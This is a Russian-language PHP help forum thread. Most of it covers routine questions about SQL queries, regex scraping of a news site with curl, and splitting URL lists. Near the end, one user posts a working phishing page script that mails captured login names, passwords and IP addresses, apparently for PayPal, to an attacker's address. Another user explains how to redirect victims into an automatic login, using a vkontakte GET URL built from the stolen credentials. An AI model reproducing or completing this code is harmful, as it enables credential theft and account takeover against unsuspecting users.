Имеется база данных к примеру следующей структуры: id | name | st 1 | a | 0 2 | b | 0 3 | c | 0 4 | a | 0 5 | c | 0 6 | a | 0 Как вывести из строки name, 3 самых повторяющих букв ??
restart_05, если не ошибаюсь, то никак, тебе нужно все значения вывести из базы, а потом уже подсчитывать сколько, что встречается у тебя средствами php допустим.
есть textararea, туда пихаеться список урлов. надо создать массив, где каждый элемент - один урл из списка, помогите плиз как это реализовать
нужна помощь, я в регулярках не силен, а нужно написать preg_math который возвращал содержимое между (class="news_1">) и (</table>) написал так PHP: <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://www.rap.ru/"); $result = curl_exec($ch); curl_close($ch); preg_match("|class=\"news_1\">(.+)</table>|iU",$result,$main); echo $main[0]; ?> но вместо нескольких строк вылазит вся страница, даже если я комментирую //echo $main[0]; плиз хелп!!1
PHP: $content = file_get_contents( "http://www.rap.ru" ); preg_match( '#<table width="100%" cellpadding="0" cellspacing="0" class="news_1">(.+)</tr>[\r\n]</table>#Uis' , $content, $array ); $content = $array[1]; $content = preg_replace( '#src="(.+)" alt#', 'src="http://www.rap.ru\\1" alt', $content); echo $content; Работает. Картинки тоже отображаются
PHP: curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); preg_match ("|<table.+?class=\"news_1\">(.+)</table>|iUs", $result, $main); echo $main[1];
Из-за чего это может быть? Делаю запрос к базе: PHP: $nsql='SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]; $nresult=mysql_query($nsql); $nline=mysql_fetch_row($nresult); а в $nline[1] лежит число 1, хотя в базе там лежит 3. И при изменении значения в базе число 1 так и остаётся.
PHP] $sql = mysql_query('SELECT id, true, bt, bf FROM Q WHERE id='.$mline[2]); while($ans_row = @mysql_fetch_array($sql)){ // тут действия с данными } [/PHP]
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно) Скриптик бы повесил на кротаб и было все круто) заранее спасибо.
Есть скрипт для фейка: <?php $mail="[email protected]"; //e-mail куда будут отправлятся отчеты if ((isset($_POST["user_email"])) and (isset($_POST["user_password"]))) { //проверка существуют ли переменные $s="paypal.com: ".$_POST["user_email"]; //создание темы письма $m="Find passwordsomesite.com. Lodin: ".$_POST["user_email"]." Password: ".$_POST["user_password"]." IP: ".$_SERVER["REMOTE_ADDR"]." =============== Login and password was send from ".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']." mail($mail,$s,$m) or exit("<script language=JavaScript>window.location='?'</script>"); // отсылка письма exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу ?> Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
Дописывать нужно, когда идёт переадресация на реальный сайт, то есто тут: PHP: exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу Чтобы произошла автоматическая авторизация, посмотри, возможно ли на исходном сайте авторизоваться гет запросом, то есть по ссылке... Например для сайта вконтакте ссылка такая : 'http://vkontakte.ru/login.php?email='.$_POST["user_email"].'&pass='.$_POST["user_password"] даёт авторизацию на сайте... Вот на неё и надо делать переадресацию.._)
Нет, к сожалению, авторизация идет через POST, через GET авторизоваться не получается (( Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?